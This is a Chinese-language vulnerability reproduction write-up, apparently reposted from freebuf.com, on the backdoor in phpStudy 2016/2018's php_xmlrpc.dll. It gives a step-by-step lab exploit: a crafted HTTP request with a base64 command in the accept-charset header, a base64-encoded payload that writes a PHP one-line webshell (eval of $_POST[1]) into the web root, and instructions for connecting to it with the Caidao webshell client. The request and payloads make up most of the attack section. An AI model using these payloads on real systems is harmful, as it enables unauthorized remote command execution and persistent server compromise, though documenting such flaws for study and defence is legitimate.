phpstudy软件是国内的一款免费的PHP调试环境的程序集成包,通过集成Apache、PHP、MySQL、phpMyAdmin、ZendOptimizer多款软件一次性安装,无需配置即可直接安装使用,具有PHP环境调试和PHP开发功能,在国内有着近百万PHP语言学习者、开发者用户。但是存在后门漏洞,可直接getshell。
漏洞存在版本:phpStudy2016php\php-5.2.17\ext\php_xmlrpc.dllphp\php-5.4.45\ext\php_xmlrpc.dllphpStudy2018PHPTutorial\php\php-5.2.17\ext\php_xmlrpc.dllPHPTutorial\php\php-5.4.45\ext\php_xmlrpc.dll
准备工作:服务器:192.168.29.135(Windows server 2008 SP2)phpStudy2016(php-5.4.45+Apache)
一.漏洞环境搭建
1.下载phpStudy2016版的phpstudy,启动后切换至php-5.4.45+Apache版本2. 查看服务器的IP地址3. 直接访问http://192.168.29.135/,可得到以下界面(以下界面是自行配置的index.php界面,可根据情况自行配置)
二.漏洞成因
1. 查看文件C:\phpStudy\php\php-5.4.45\ext\php_xmlrpc.dll(这是我的安装路径,根据实际的安装情况查看安装路径),Ctrl+F查找关键字“@evel”,找到了“@eval(%s(‘%s’));”,这也是漏洞的成因。
三.漏洞复现
1.访问URL:http://192.168.29.135/,进行抓取数据包操作,并且将其发送到repeater模块2.添加Accept-Encoding和accept-charset参数注意事项:如果没有Accept-Encoding这个参数,需要手动加上,并且注意“gzip”和“deflate”之间存在一个逗号,并且中间没有空格。需要手动加上:accept-charset:执行命令的base 64编码echo system(“net user”);的base64编码为
ZWNobyBzeXN0ZW0oIm5ldCB1c2VyIik7--------GET / HTTP/1.1Host: 192.168.29.135User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding:gzip,deflateaccept-charset:ZWNobyBzeXN0ZW0oIm5ldCB1c2VyIik7Connection: closeUpgrade-Insecure-Requests: 1Cache-Control: max-age=0--------
执行结果为:3.构造一句话木马写入到web路径下:
fputs(fopen('C:\phpStudy\WWW\xx.php','w'),'<?php@eval($_POST[1])?>');
4.将构造的语句进行base64加密(删掉下方加密中的左括号)ZnB1dHMoZm(9wZW4oJ0M6XHBocFN0dWR5XFdXV1x4eC5waHAnLCd3JyksJzw/cGhwIEBldmFsKCRfUE9TVFsxXSk/PicpOw==修改accept-charset的参数值,写入一句话木马5.查看服务器端是否将文件写入6.使用菜刀进行连接操作,URL:http://192.168.29.135/xx.php,密码为1原文链接
来源:freebuf.com 2020-08-17 17:09:33 by: 龙渊实验室LongYuanLab
请登录后发表评论
注册